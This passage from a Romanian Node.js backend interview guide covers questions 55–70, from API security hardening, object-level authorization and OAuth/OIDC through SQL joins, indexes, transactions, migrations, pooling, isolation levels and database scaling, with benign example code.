  • regula de acces stă într-un singur loc (repository sau un strat de politici), nu copiată în fiecare controller;
  • în aplicații multi-tenant, fiecare query include tenant_id; PostgreSQL permite chiar Row-Level Security ca plasă de siguranță;
  • ID-uri nepredictibile (UUID) îngreunează enumerarea, dar nu înlocuiesc verificarea;
  • teste automate care încearcă explicit accesul cu un alt utilizator.

Variante înrudite din aceeași listă OWASP: BFLA (Broken Function Level Authorization, un utilizator normal cheamă un endpoint de admin) și Broken Object Property Level Authorization (clientul poate citi sau scrie câmpuri pe care nu ar trebui, de exemplu isAdmin trimis în body și salvat direct). Validarea cu schemă și DTO-urile de răspuns explicite le previn.

Ce urmărește intervievatorul: Este cea mai frecventă vulnerabilitate reală în API-uri. Se urmărește dacă te gândești la autorizare la nivel de obiect, nu doar la login.

55 Mid

Ce măsuri de securitate aplici unui API Node.js înainte de a-l pune în producție?

Răspuns scurt: HTTPS peste tot, headere de securitate (de exemplu cu helmet), validare și limitare de mărime pe input, rate limiting, secrete în afara codului, dependențe auditate și actualizate, erori fără detalii interne, loguri fără date sensibile și rularea procesului cu privilegii minime.

O listă pe care o poți parcurge structurat la interviu:

Transport și headere

  • HTTPS obligatoriu, cu Strict-Transport-Security;
  • helmet() setează headere precum X-Content-Type-Options: nosniff, Content-Security-Policy, X-Frame-Options și elimină X-Powered-By.

Input

  • validare cu schemă pe tot ce vine din request;
  • limită de mărime pe body (express.json({ limit: '100kb' })) și pe upload-uri, cu verificarea tipului real al fișierului;
  • query-uri parametrizate;
  • atenție la regex-uri aplicate pe input lung (ReDoS).

Autentificare și autorizare

  • parole cu Argon2/bcrypt, rate limiting pe login, autorizare la nivel de obiect;
  • cookie-uri HttpOnly, Secure, SameSite.

Secrete și configurare

  • secrete în variabile de mediu sau într-un manager de secrete, rotite periodic;
  • NODE_ENV=production, care dezactivează, printre altele, mesajele de eroare detaliate din Express.

Dependențe

  • npm audit, Dependabot sau Renovate, npm ci cu lock-file;
  • puține dependențe, verificate înainte de adăugare (atacurile pe lanțul de aprovizionare npm sunt reale).

Erori și loguri

  • răspunsuri de eroare fără stack trace;
  • loguri structurate, fără parole, token-uri sau date de card; redactare automată (pino are opțiunea redact).

Rulare

  • proces ca utilizator non-root, în container cu sistem de fișiere minim;
  • baza de date accesibilă doar din rețeaua internă, cu utilizator cu drepturi minime;
  • timeout-uri pe server (server.requestTimeout, headersTimeout) și pe apelurile externe.

Pentru a verifica, rulezi un scanner (de exemplu OWASP ZAP) pe un mediu de staging.

Ce urmărește intervievatorul: Întrebare deschisă care arată maturitatea. Se apreciază un răspuns structurat pe straturi, nu o listă aleatorie de pachete.

56 Senior

Explică fluxul OAuth 2.0 Authorization Code cu PKCE și rolul OpenID Connect.

Răspuns scurt: OAuth 2.0 permite aplicației să obțină un access token fără să vadă parola utilizatorului. Authorization Code cu PKCE este fluxul recomandat pentru web și mobil, iar OpenID Connect adaugă un ID token standard pentru autentificare.

Actori: utilizatorul, clientul (aplicația ta), serverul de autorizare (Google, Microsoft Entra ID, Keycloak, Auth0) și resource server-ul (API-ul care acceptă token-ul).

Fluxul Authorization Code + PKCE:

1. Clientul generează un code_verifier aleator și calculează code_challenge = BASE64URL(SHA256(code_verifier)). 2. Redirecționează utilizatorul la /authorize?response_type=code&client_id=...&redirect_uri=...&scope=openid email&state=...&code_challenge=...&code_challenge_method=S256. 3. Utilizatorul se autentifică la furnizor și acceptă permisiunile. 4. Furnizorul redirecționează înapoi la redirect_uri cu code și state. 5. Backend-ul verifică state (protecție CSRF) și schimbă codul pe token-uri la /token, trimițând code_verifier. 6. Primește access_token, eventual refresh_token și, cu OIDC, id_token.

PKCE face ca un cod interceptat să fie inutil fără code_verifier. Este obligatoriu pentru aplicații publice (mobile, SPA) și recomandat pentru toate în OAuth 2.1. Fluxul Implicit, care întorcea token-ul direct în URL, este considerat depășit.

OpenID Connect (OIDC) standardizează identitatea: id_token este un JWT cu sub, email, iss, aud, nonce. Backend-ul îl validează (semnătura cu cheile de la jwks_uri, emitentul, audiența, expirarea, nonce-ul) și apoi creează propria sesiune pentru utilizator.

Greșeli de evitat:

  • folosirea access token-ului de la Google ca dovadă de identitate în propriul API, în loc de id_token;
  • redirect_uri neînregistrat exact, care permite furtul codului;
  • lipsa validării state și nonce;
  • scope-uri mai largi decât e nevoie.

Pentru comunicare server-la-server fără utilizator se folosește fluxul Client Credentials.

Ce urmărește intervievatorul: Întrebare de nivel senior pentru sisteme cu SSO sau login social. Se urmărește distincția clară dintre autorizare (OAuth) și autentificare (OIDC).

Baze de date și SQL

57 Junior

Când ai alege o bază de date relațională (SQL) și când una NoSQL?

Răspuns scurt: O bază relațională (PostgreSQL, MySQL) este alegerea implicită pentru date structurate cu relații, tranzacții și constrângeri de integritate. NoSQL (MongoDB, Redis, DynamoDB, Cassandra) are sens pentru modele de acces specifice: documente cu schemă flexibilă, cache key-value, volume mari de scrieri distribuite.

Relațional: datele stau în tabele cu schemă definită, legate prin chei străine. Ai JOIN-uri, tranzacții ACID, constrângeri (UNIQUE, NOT NULL, CHECK, FOREIGN KEY) și un limbaj de interogare puternic. Cele mai multe aplicații de business (comenzi, facturi, utilizatori, stocuri) se potrivesc aici. PostgreSQL suportă și coloane jsonb indexabile, deci acoperă multe cazuri de date semistructurate.

NoSQL este o familie, nu o tehnologie:

  • document (MongoDB): documente JSON imbricate; potrivit când citești și scrii de obicei agregatul întreg (de exemplu un profil cu preferințe) și schema variază;
  • key-value (Redis): acces ultrarapid după cheie; cache, sesiuni, contoare, cozi;
  • wide-column (Cassandra): scrieri masive distribuite, cu query-uri cunoscute dinainte;
  • graf (Neo4j): relații de tip rețea socială, recomandări.

Criterii de decizie la interviu:

  • modelul de acces: ce query-uri vei face? Rapoarte ad-hoc și JOIN-uri favorizează SQL;
  • consistența: tranzacții între mai multe entități (bani, stoc) favorizează SQL;
  • scalarea: unele baze NoSQL sunt proiectate pentru distribuire orizontală din start, dar au compromisuri de consistență;
  • echipa și operarea: tehnologia pe care echipa o cunoaște și o poate opera.

Un sistem real folosește des ambele: PostgreSQL ca sursă de adevăr și Redis pentru cache și cozi. „NoSQL pentru că e mai rapid” nu este un argument fără un model de acces concret.

Ce urmărește intervievatorul: Se verifică dacă iei decizii pe baza cerințelor. Greșeala tipică: alegerea MongoDB „pentru că lucrează bine cu JavaScript”, fără alte argumente.

58 Junior

Explică diferențele dintre INNER JOIN, LEFT JOIN, RIGHT JOIN și FULL OUTER JOIN.

Răspuns scurt: INNER JOIN întoarce doar rândurile care au corespondent în ambele tabele. LEFT JOIN întoarce toate rândurile din tabela din stânga, cu NULL unde nu există corespondent în dreapta; RIGHT JOIN invers. FULL OUTER JOIN le întoarce pe toate din ambele părți.

Să luăm tabelele customers(id, name) și orders(id, customer_id, total).

SQL
-- clienții care au cel puțin o comandă
SELECT c.name, o.total
FROM customers c
INNER JOIN orders o ON o.customer_id = c.id;

-- toți clienții, chiar și cei fără comenzi (total va fi NULL)
SELECT c.name, o.total
FROM customers c
LEFT JOIN orders o ON o.customer_id = c.id;

-- clienții fără nicio comandă
SELECT c.id, c.name
FROM customers c
LEFT JOIN orders o ON o.customer_id = c.id
WHERE o.id IS NULL;

RIGHT JOIN este echivalent cu un LEFT JOIN cu tabelele inversate și se folosește rar. FULL OUTER JOIN e util la reconcilieri (de exemplu, plăți din sistemul tău comparate cu cele din extrasul bancar) și nu există în MySQL, unde se simulează cu UNION între un LEFT și un RIGHT JOIN.

Capcane frecvente:

  • o condiție pe tabela din dreapta pusă în WHERE transformă LEFT JOIN într-un INNER JOIN în practică. WHERE o.status = 'paid' elimină clienții fără comenzi; condiția trebuie mutată în ON (ON o.customer_id = c.id AND o.status = 'paid');
  • un JOIN pe o relație unu-la-mulți multiplică rândurile; dacă apoi faci SUM pe o coloană din tabela „unu”, rezultatul este umflat;
  • CROSS JOIN (produs cartezian) apare din greșeală când uiți condiția de JOIN.

Pentru coloanele folosite în ON, un index pe cheia străină (orders.customer_id) este esențial pentru performanță.

Ce urmărește intervievatorul: Este întrebarea SQL cea mai frecventă la interviurile de junior. Se urmărește capcana cu WHERE după LEFT JOIN.

59 Junior

Ce sunt cheile primare, cheile străine și normalizarea?

Răspuns scurt: Cheia primară identifică unic fiecare rând dintr-un tabel; cheia străină leagă un rând de cheia primară din alt tabel și asigură integritatea referențială. Normalizarea organizează datele astfel încât fiecare informație să fie stocată într-un singur loc, pentru a evita duplicarea și anomaliile la actualizare.

Cheia primară (PRIMARY KEY) este unică și nenulă. Poate fi:

  • surogat: un ID fără semnificație de business (bigint generat sau uuid), alegerea uzuală;
  • naturală: o valoare din domeniu (cod ISO de țară). Riscul: valorile „de business” se pot schimba.

Cheia străină (FOREIGN KEY) impune ca valoarea să existe în tabelul referit:

SQL
CREATE TABLE orders (
  id          bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  customer_id bigint NOT NULL REFERENCES customers(id) ON DELETE RESTRICT,
  created_at  timestamptz NOT NULL DEFAULT now()
);
CREATE INDEX ON orders (customer_id);

Baza de date refuză o comandă pentru un client inexistent și ștergerea unui client care are comenzi. ON DELETE CASCADE ar șterge automat comenzile, comportament care trebuie ales conștient. În PostgreSQL, cheia străină nu creează automat index pe coloana care face referința, deci îl adaugi tu.

Normalizarea, pe scurt:

  • 1NF: valori atomice, fără liste într-o coloană (nu tags = 'a,b,c');
  • 2NF: coloanele depind de toată cheia primară, nu doar de o parte;
  • 3NF: coloanele nu depind de alte coloane non-cheie (nu ții customer_city în orders).

Dacă adresa clientului e copiată în fiecare comandă și o modifici, trebuie să o schimbi în o mie de locuri sau rămân valori contradictorii.

Denormalizarea controlată este uneori corectă: prețul produsului se copiază în linia comenzii tocmai pentru că trebuie să rămână cel de la momentul cumpărării. Iar pentru performanță se mai păstrează contoare sau totaluri precalculate, cu grijă la sincronizare.

Ce urmărește intervievatorul: Verifică fundamentele modelării datelor. Răspunsul bun include și exemple de denormalizare intenționată, ca prețul din comandă.

60 Junior

Scrie un query care afișează clienții cu mai mult de 3 comenzi plătite în 2026, împreună cu totalul cheltuit, ordonați descrescător după total.

Răspuns scurt: Filtrezi comenzile cu WHERE (status și an), grupezi după client cu GROUP BY, păstrezi doar grupurile cu COUNT(*) > 3 folosind HAVING și sortezi după SUM(total).

SQL
SELECT c.id,
       c.name,
       COUNT(*)      AS paid_orders,
       SUM(o.total)  AS total_spent
FROM customers c
JOIN orders o ON o.customer_id = c.id
WHERE o.status = 'paid'
  AND o.created_at >= '2026-01-01'
  AND o.created_at <  '2027-01-01'
GROUP BY c.id, c.name
HAVING COUNT(*) > 3
ORDER BY total_spent DESC;

Ce urmărește intervievatorul:

  • WHERE vs HAVING: WHERE filtrează rânduri înainte de grupare, HAVING filtrează grupuri după agregare. Condiția pe COUNT nu poate sta în WHERE.
  • Ordinea logică de execuție: FROM/JOIN, WHERE, GROUP BY, HAVING, SELECT, ORDER BY, LIMIT. De aceea aliasul total_spent poate fi folosit în ORDER BY, dar nu în WHERE. În HAVING, PostgreSQL nu acceptă aliasul, MySQL îl acceptă.
  • Filtrarea pe dată cu interval semi-deschis în loc de EXTRACT(YEAR FROM created_at) = 2026. Funcția aplicată pe coloană împiedică folosirea indexului pe created_at, iar intervalul >= ... AND < ... evită și problemele cu ultima secundă a anului.
  • GROUP BY include toate coloanele neagregate din SELECT. PostgreSQL acceptă doar c.id dacă e cheie primară, dar varianta explicită e portabilă.
  • Tipul pentru bani: total ar trebui să fie NUMERIC(12,2), nu float.

Variante de discuție: „și clienții cu zero comenzi?” (atunci LEFT JOIN și condițiile mutate în ON), „primii 10” (LIMIT 10), „ultima comandă a fiecărui client” (funcții de fereastră, de exemplu ROW_NUMBER() OVER (PARTITION BY customer_id ORDER BY created_at DESC)).

Ce urmărește intervievatorul: Exercițiu clasic de SQL scris. Se verifică diferența WHERE/HAVING și atenția la indecși și la date.

61 Junior

Ce este un index în baza de date, cum ajută și ce costuri are?

Răspuns scurt: Un index este o structură separată, de obicei un B-tree, care permite găsirea rândurilor după valorile unor coloane fără a parcurge tot tabelul. Accelerează căutările, JOIN-urile și sortările, dar ocupă spațiu și încetinește fiecare INSERT, UPDATE și DELETE.

Fără index, un WHERE email = 'ana@ex.ro' pe un tabel cu milioane de rânduri face un sequential scan: citește fiecare rând. Cu un index B-tree pe email, baza de date coboară în arbore în câțiva pași logaritmici și ajunge direct la rând.

SQL
CREATE UNIQUE INDEX users_email_idx ON users (email);
CREATE INDEX orders_customer_created_idx ON orders (customer_id, created_at DESC);

Indecși compuși. Ordinea coloanelor contează. Indexul (customer_id, created_at) ajută la:

  • WHERE customer_id = 5;
  • WHERE customer_id = 5 AND created_at > ...;
  • WHERE customer_id = 5 ORDER BY created_at DESC.

Nu ajută (eficient) la WHERE created_at > ... singur, pentru că acea coloană nu este prima (regula „leftmost prefix”).

Când indexul nu e folosit:

  • funcții sau conversii pe coloană: WHERE LOWER(email) = ... (soluție: index pe expresie ON users (LOWER(email)));
  • LIKE '%text' cu wildcard la început;
  • coloane cu selectivitate mică (de exemplu is_active cu două valori), unde planificatorul preferă scanarea completă;
  • tabele mici.

Costuri: fiecare index trebuie actualizat la scriere și ocupă disc și memorie. Un tabel cu scrieri multe și zece indecși nefolosiți este mai lent fără niciun beneficiu.

Indexezi deci pe baza query-urilor reale: cheile străine, coloanele din WHERE și ORDER BY frecvente. Verifici cu EXPLAIN că indexul este folosit și, în PostgreSQL, găsești indecșii nefolosiți în pg_stat_user_indexes.

Ce urmărește intervievatorul: Verifică înțelegerea performanței în baze de date. Greșeala tipică: „pun index pe toate coloanele” sau necunoașterea regulii prefixului.

62 Junior

Ce este o tranzacție și ce înseamnă ACID?

Răspuns scurt: O tranzacție grupează mai multe operații într-o unitate care reușește sau eșuează integral. ACID înseamnă Atomicity (totul sau nimic), Consistency (constrângerile rămân respectate), Isolation (tranzacțiile concurente nu se încurcă) și Durability (după commit, datele supraviețuiesc unei căderi).

Exemplul clasic: un transfer între două conturi. Dacă scazi suma dintr-un cont și aplicația cade înainte să o adaugi în celălalt, banii dispar. Într-o tranzacție, ambele modificări se aplică sau niciuna.

  • Atomicity: la eroare, ROLLBACK anulează tot ce s-a făcut în tranzacție.
  • Consistency: la commit, toate constrângerile (CHECK (balance >= 0), chei străine, unicitate) sunt îndeplinite.
  • Isolation: o tranzacție nu vede modificările necomise ale alteia; gradul exact depinde de nivelul de izolare.
  • Durability: după COMMIT, modificarea este scrisă în jurnal (WAL în PostgreSQL) și supraviețuiește unui crash.

Exemplu cu pg; important este că toate query-urile folosesc același client din pool:

JavaScript
async function transfer(fromId, toId, amount) {
  const client = await pool.connect();
  try {
    await client.query('BEGIN');
    await client.query(
      'UPDATE accounts SET balance = balance - $1 WHERE id = $2', [amount, fromId]);
    await client.query(
      'UPDATE accounts SET balance = balance + $1 WHERE id = $2', [amount, toId]);
    await client.query('COMMIT');
  } catch (err) {
    await client.query('ROLLBACK');
    throw err;
  } finally {
    client.release();
  }
}

Dacă ai folosi pool.query pentru fiecare comandă, ele ar putea ajunge pe conexiuni diferite, iar BEGIN și COMMIT nu ar mai acoperi nimic. ORM-urile oferă API-uri dedicate (prisma.$transaction, sequelize.transaction, knex.transaction).

Tranzacțiile trebuie să fie scurte: nu faci apeluri HTTP externe sau aștepți input în interiorul lor, pentru că țin lock-uri și conexiuni ocupate.

Ce urmărește intervievatorul: Verifică fundamentele de consistență a datelor. Detaliul cu același client din pool deosebește experiența practică de teorie.

63 Mid

Ce sunt migrațiile de bază de date și cum le gestionezi într-o echipă?

Răspuns scurt: Migrațiile sunt fișiere versionate care descriu, în ordine, fiecare schimbare de schemă (tabele, coloane, indecși). Stau în Git alături de cod, se aplică automat în fiecare mediu, iar baza de date ține evidența celor deja rulate.

Fără migrații, schema evoluează prin comenzi rulate manual, iar mediile ajung să difere: coloana există pe laptopul unui coleg, dar nu în producție.

Unelte uzuale în Node.js: Knex, Prisma Migrate, TypeORM, Sequelize CLI, node-pg-migrate. Exemplu cu Knex:

JavaScript
// migrations/20261030120000_add_phone_to_users.js
export async function up(knex) {
  await knex.schema.alterTable('users', (t) => {
    t.string('phone', 20).nullable();
  });
}
export async function down(knex) {
  await knex.schema.alterTable('users', (t) => t.dropColumn('phone'));
}
BASH
npx knex migrate:latest     # aplică migrațiile noi
npx knex migrate:rollback   # anulează ultimul lot

Unealta ține un tabel (de exemplu knex_migrations) cu migrațiile aplicate.

Reguli de lucru în echipă:

  • o migrație deja rulată în alt mediu nu se modifică; se scrie una nouă;
  • migrațiile rulează automat în pipeline sau la deploy, înainte ca noul cod să primească trafic;
  • separi schimbările de schemă de cele de date mari (backfill), care pot dura și bloca tabele.

Migrații fără downtime, important când rulează simultan versiunea veche și cea nouă a aplicației:

  • adăugarea unei coloane NOT NULL se face în pași: coloană nullable, backfill în loturi, apoi constrângerea;
  • redenumirea unei coloane devine: coloană nouă, scriere în ambele, mutare citiri, ștergere coloană veche în alt deploy;
  • în PostgreSQL, CREATE INDEX CONCURRENTLY evită blocarea scrierilor (nu poate rula într-o tranzacție);
  • testezi migrația pe o copie a datelor de producție când tabelul e mare.

Ce urmărește intervievatorul: Se verifică lucrul real în echipă și grija la deploy. Greșeala tipică: modificarea unei migrații deja aplicate sau o migrație care blochează tabelul în producție.

64 Mid

Ce este problema N+1 query și cum o rezolvi?

Răspuns scurt: Problema N+1 apare când faci un query pentru o listă și apoi câte un query separat pentru datele fiecărui element. Se rezolvă cu JOIN, cu un singur query WHERE id = ANY(...) sau cu încărcare eager în ORM.

Cod tipic cu problema:

JavaScript
const posts = await db.query('SELECT * FROM posts ORDER BY id DESC LIMIT 50');
for (const post of posts.rows) {
  const { rows } = await db.query('SELECT name FROM users WHERE id = $1', [post.author_id]);
  post.author = rows[0];
}

Pentru 50 de articole faci 51 de query-uri. Fiecare are latență de rețea și overhead, deci endpoint-ul devine lent pe măsură ce lista crește, chiar dacă fiecare query în parte e rapid. În loguri, apare ca același query repetat de zeci de ori pe request.

Soluții:

SQL
-- 1. JOIN
SELECT p.*, u.name AS author_name
FROM posts p JOIN users u ON u.id = p.author_id
ORDER BY p.id DESC LIMIT 50;
JavaScript
// 2. un singur query pentru toate relațiile, apoi asamblare în memorie
const ids = [...new Set(posts.map((p) => p.author_id))];
const { rows: users } = await db.query('SELECT id, name FROM users WHERE id = ANY($1)', [ids]);
const byId = new Map(users.map((u) => [u.id, u]));
posts.forEach((p) => { p.author = byId.get(p.author_id); });

3. ORM: Prisma include, Sequelize include, TypeORM relations sau leftJoinAndSelect. ORM-urile cu lazy loading implicit produc ușor N+1 fără să se vadă în cod.

4. GraphQL: biblioteca DataLoader grupează automat cererile individuale din același tick într-un singur query batch.

Pentru a detecta problema: logarea query-urilor în dezvoltare, numărul de query-uri per request în APM sau teste care verifică acest număr pentru endpoint-urile critice.

Ce urmărește intervievatorul: Este una dintre cele mai frecvente cauze de endpoint-uri lente. Se urmărește dacă recunoști tiparul în cod și cunoști mai multe soluții.

65 Mid

Ce este connection pooling și de ce este important în Node.js?

Răspuns scurt: Un pool păstrează un număr limitat de conexiuni deschise la baza de date și le refolosește între request-uri, în loc să deschidă una nouă de fiecare dată. Reduce latența și protejează baza de date de prea multe conexiuni simultane.

Deschiderea unei conexiuni la PostgreSQL sau MySQL implică TCP, eventual TLS, autentificare și, în cazul PostgreSQL, pornirea unui proces nou pe server. Durează milisecunde și consumă memorie pe server. Dacă fiecare request ar deschide și închide o conexiune, latența ar crește și baza de date ar ceda sub trafic.

JavaScript
import pg from 'pg';

export const pool = new pg.Pool({
  connectionString: config.DATABASE_URL,
  max: 10,                        // conexiuni maxime pe proces
  idleTimeoutMillis: 30_000,
  connectionTimeoutMillis: 2_000, // eroare dacă nu obții conexiune la timp
});

const { rows } = await pool.query('SELECT now()');

pool.query ia o conexiune liberă, rulează query-ul și o eliberează. Pentru tranzacții iei explicit un client cu pool.connect() și îl eliberezi în finally. Dacă uiți release(), pool-ul se golește treptat și toate request-urile ajung să aștepte la nesfârșit; este un bug clasic.

Dimensionarea: numărul total de conexiuni este max înmulțit cu numărul de procese și instanțe. Cu 8 containere a câte 20 de conexiuni, ai 160 de conexiuni, ceea ce poate depăși max_connections al bazei de date (100 implicit în PostgreSQL). Mai multe conexiuni nu înseamnă automat mai mult debit: baza de date are un număr limitat de nuclee, iar peste un prag apare contenția.

Mediile serverless (funcții lambda) creează multe instanțe scurte, fiecare cu conexiunile ei. Acolo se folosește un pooler extern, de exemplu PgBouncer sau un proxy oferit de furnizorul cloud.

Pool-ul se creează o singură dată, la pornirea aplicației, și se închide la graceful shutdown.

Ce urmărește intervievatorul: Se verifică înțelegerea resurselor partajate. Greșeala tipică: crearea unui pool nou în fiecare request sau neeliberarea clientului.

66 Mid

ORM, query builder sau SQL brut: ce ai alege într-un proiect Node.js și de ce?

Răspuns scurt: ORM-ul (Prisma, TypeORM) aduce productivitate, dar ascunde query-urile; query builder-ul (Knex, Kysely) păstrează controlul asupra SQL-ului; SQL-ul brut parametrizat dă control total. Des se combină: ORM sau builder pentru CRUD, SQL scris pentru query-uri complexe.

ORM

  • avantaje: productivitate la operații CRUD, relații declarative, migrații integrate, tipuri generate (Prisma generează tipuri TypeScript din schemă), mai puține erori de mapare;
  • dezavantaje: query-uri generate ineficiente sau greu de controlat, N+1 ascuns prin lazy loading, abstracții care se rup la query-uri avansate (funcții de fereastră, CTE-uri, ON CONFLICT complex), dependență de convențiile bibliotecii.

Query builder

  • construiești SQL-ul prin cod, cu parametrizare automată și compunere dinamică (filtre opționale);
  • Kysely oferă inferență de tipuri foarte bună în TypeScript;
  • rămâi aproape de SQL, deci știi ce se execută.
TypeScript
const rows = await db
  .selectFrom('orders')
  .select(['id', 'total'])
  .where('customer_id', '=', customerId)
  .$if(!!status, (q) => q.where('status', '=', status!))
  .orderBy('created_at', 'desc')
  .limit(20)
  .execute();

SQL brut (cu pg sau mysql2)

  • control total și performanță previzibilă, ușor de analizat cu EXPLAIN;
  • mai mult cod de mapare, risc de greșeli de tipuri și tentația de concatenare.

Cum argumentezi la interviu: depinde de echipă și de proiect. Pentru un API cu mult CRUD și o echipă care lucrează în TypeScript, Prisma sau un query builder tipizat accelerează dezvoltarea. Pentru rapoarte și query-uri critice ca performanță, scrii SQL și îl testezi. Indiferent de unealtă, trebuie să poți citi SQL-ul generat (logare în dezvoltare) și să înțelegi ce indecși folosește. Un ORM nu te scutește de cunoașterea bazei de date.

Ce urmărește intervievatorul: Nu există un singur răspuns corect; se evaluează argumentarea. Semnal negativ: a nu ști ce SQL generează ORM-ul folosit.

67 Mid

Un query a devenit lent în producție. Cum îl analizezi și îl optimizezi?

Răspuns scurt: Identifici query-ul exact (din loguri, APM sau pg_stat_statements), îl rulezi cu EXPLAIN ANALYZE pe date reprezentative, cauți scanări complete pe tabele mari, estimări greșite și sortări costisitoare, apoi aplici corecția potrivită: index, rescrierea query-ului, mai puține date returnate sau statistici actualizate.

1. Găsește query-ul. În PostgreSQL, extensia pg_stat_statements arată query-urile după timpul total și mediu. Logarea query-urilor lente (log_min_duration_statement) și uneltele APM indică endpoint-ul și query-ul.

2. Citește planul de execuție.

SQL
EXPLAIN (ANALYZE, BUFFERS)
SELECT * FROM orders
WHERE customer_id = 42 AND status = 'paid'
ORDER BY created_at DESC LIMIT 20;

ANALYZE execută efectiv query-ul și arată timpii reali, deci atenție la UPDATE/DELETE (îl rulezi într-o tranzacție urmată de ROLLBACK). Ce cauți:

  • Seq Scan pe un tabel mare cu un filtru selectiv: lipsește un index potrivit;
  • diferențe mari între rows estimat și cel real: statistici învechite (ANALYZE orders;) sau corelații pe care planificatorul nu le cunoaște;
  • Sort cu external merge Disk: sortarea nu încape în work_mem; un index pe coloana de sortare o poate elimina;
  • Nested Loop cu multe iterații pe un tabel mare fără index.

3. Corecții tipice:

  • index compus pe (customer_id, status, created_at DESC) pentru exemplul de mai sus;
  • SELECT doar pe coloanele necesare, nu *;
  • eliminarea funcțiilor pe coloane în WHERE;
  • paginare cu cursor în loc de OFFSET mare;
  • rescrierea unei subinterogări corelate ca JOIN sau CTE;
  • pentru rapoarte grele: view materializat sau tabel de agregate actualizat periodic.

4. Verifică efectul. Compari planul și timpul înainte și după, pe volum realist; un query rapid pe 100 de rânduri locale nu spune nimic. Urmărești apoi metricile în producție.

Dacă problema este contenția (lock-uri, nu planul), cauți în pg_stat_activity și pg_locks cine blochează.

Ce urmărește intervievatorul: Întrebare practică pentru nivel mid. Se urmărește o metodă, nu „adaug un index” din reflex.

68 Senior

Ce sunt nivelurile de izolare ale tranzacțiilor și ce anomalii previne fiecare?

Răspuns scurt: Standardul SQL definește patru niveluri: Read Uncommitted, Read Committed, Repeatable Read și Serializable, fiecare prevenind mai multe anomalii (dirty read, non-repeatable read, phantom read, write skew). Un nivel mai strict înseamnă mai puține anomalii, dar mai multe blocări sau tranzacții eșuate care trebuie reîncercate.

Anomalii:

  • dirty read: citești date scrise de o altă tranzacție, încă necomise;
  • non-repeatable read: citești același rând de două ori în tranzacție și primești valori diferite, pentru că altcineva l-a modificat și a făcut commit între timp;
  • phantom read: rulezi același WHERE de două ori și apar sau dispar rânduri;
  • lost update: două tranzacții citesc aceeași valoare, o modifică și o scriu, iar una dintre actualizări se pierde;
  • write skew: două tranzacții citesc aceleași date, iau decizii pe baza lor și scriu în rânduri diferite, încălcând o regulă comună (de exemplu „cel puțin un medic de gardă”).

Niveluri:

  • Read Committed: implicit în PostgreSQL și Oracle; fiecare instrucțiune vede datele comise până la începutul ei. Previne dirty reads.
  • Repeatable Read: implicit în MySQL InnoDB. În PostgreSQL este implementat ca snapshot isolation: tranzacția vede un instantaneu fix și, dacă încearcă să modifice un rând schimbat concurent, primește eroare de serializare. Previne și phantom reads în PostgreSQL, dar nu write skew.
  • Serializable: rezultatul este echivalent cu o execuție a tranzacțiilor una după alta. PostgreSQL folosește Serializable Snapshot Isolation și abandonează tranzacțiile conflictuale cu SQLSTATE 40001.
SQL
BEGIN ISOLATION LEVEL SERIALIZABLE;
-- citiri și scrieri
COMMIT;  -- poate eșua cu 40001: aplicația trebuie să reîncerce

Practic, majoritatea aplicațiilor rămân pe Read Committed și rezolvă cazurile critice punctual: UPDATE ... SET stock = stock - 1 WHERE stock > 0, SELECT ... FOR UPDATE, constrângeri unice sau Serializable doar pentru tranzacțiile care au nevoie, cu logică de retry.

Ce urmărește intervievatorul: Întrebare de nivel senior despre concurență. Se urmărește dacă poți lega teoria de bug-uri concrete, ca lost update și write skew.

69 Senior

Cum previi vânzarea aceluiași ultim produs din stoc către doi clienți simultan?

Răspuns scurt: Faci decrementarea atomic, cu condiție: UPDATE ... SET stock = stock - 1 WHERE id = $1 AND stock > 0, și verifici numărul de rânduri afectate. Alternativ, blochezi rândul cu SELECT ... FOR UPDATE sau folosești optimistic locking.

Codul naiv are o condiție de cursă (race condition):

JavaScript
const { rows: [p] } = await db.query('SELECT stock FROM products WHERE id = $1', [id]);
if (p.stock > 0) {
  await db.query('UPDATE products SET stock = $1 WHERE id = $2', [p.stock - 1, id]);
}

Două request-uri citesc simultan stock = 1, ambele trec verificarea și ambele scriu 0. Ai vândut două produse dintr-unul. Faptul că Node.js are un singur thread nu ajută: între await-uri rulează alte request-uri, iar cu mai multe instanțe problema e oricum în baza de date.

1. Update atomic condiționat (cea mai simplă și eficientă):

JavaScript
const res = await db.query(
  'UPDATE products SET stock = stock - 1 WHERE id = $1 AND stock > 0 RETURNING stock',
  [id],
);
if (res.rowCount === 0) throw new ConflictError('Stoc epuizat');

Baza de date blochează rândul pe durata update-ului, deci al doilea request vede stocul deja modificat.

2. Pessimistic locking, când logica e mai complexă:

SQL
BEGIN;
SELECT stock FROM products WHERE id = $1 FOR UPDATE;
-- verificări, creare comandă, decrement
COMMIT;

Alte tranzacții care vor același rând așteaptă. Tranzacția trebuie să fie scurtă, iar rândurile blocate mereu în aceeași ordine, ca să eviți deadlock-urile.

3. Optimistic locking, când conflictele sunt rare: coloana version, iar update-ul are WHERE id = $1 AND version = $2. Dacă rowCount e 0, altcineva a modificat între timp, deci reîncerci sau raportezi conflict (409).

Ce urmărește intervievatorul: Problemă clasică de concurență la nivel senior. Semnal bun: recunoașterea faptului că un singur thread Node.js nu elimină condițiile de cursă.

70 Senior

Baza de date devine gâtul de sticlă al aplicației. Ce opțiuni de scalare ai și în ce ordine le-ai aplica?

Răspuns scurt: Începi cu optimizări ieftine: query-uri și indecși, cache, pooling și eliminarea muncii inutile. Apoi scalezi vertical, adaugi replici de citire, muți munca grea în procese asincrone și, abia la final, partiționezi sau faci sharding, care adaugă cea mai mare complexitate.

Ordinea contează pentru că fiecare pas costă mai mult în complexitate decât cel anterior.

1. Măsoară. Află dacă problema e CPU, I/O, lock-uri sau numărul de conexiuni. Query-urile din topul pg_stat_statements produc de obicei mare parte din încărcare.

2. Optimizează ce există: indecși potriviți, eliminarea N+1, paginare cu cursor, coloane selectate explicit, tranzacții scurte, un pooler (PgBouncer) dacă problema sunt conexiunile.

3. Cache: Redis pentru citirile frecvente și rar modificate, cache HTTP sau CDN pentru răspunsuri publice.

4. Scalare verticală: mai multă memorie (mai mult din setul de lucru încape în RAM) și discuri mai rapide. Este simplă și adesea suficientă mult timp.

5. Replici de citire: replicare asincronă către una sau mai multe copii, pe care trimiți citirile. Atenție la replication lag: după ce utilizatorul își salvează profilul, o citire de pe replică poate întoarce valoarea veche. Soluții: citirile imediat după scriere merg pe primar sau rutezi după sesiune.

6. Mută munca: rapoarte pe o replică dedicată sau într-un data warehouse, procesare în cozi, view-uri materializate, arhivarea datelor vechi.

7. Partiționare (în aceeași bază): tabelele uriașe de evenimente sau loguri împărțite pe luni; query-urile pe interval ating doar partițiile relevante, iar ștergerea datelor vechi devine DROP de partiție.

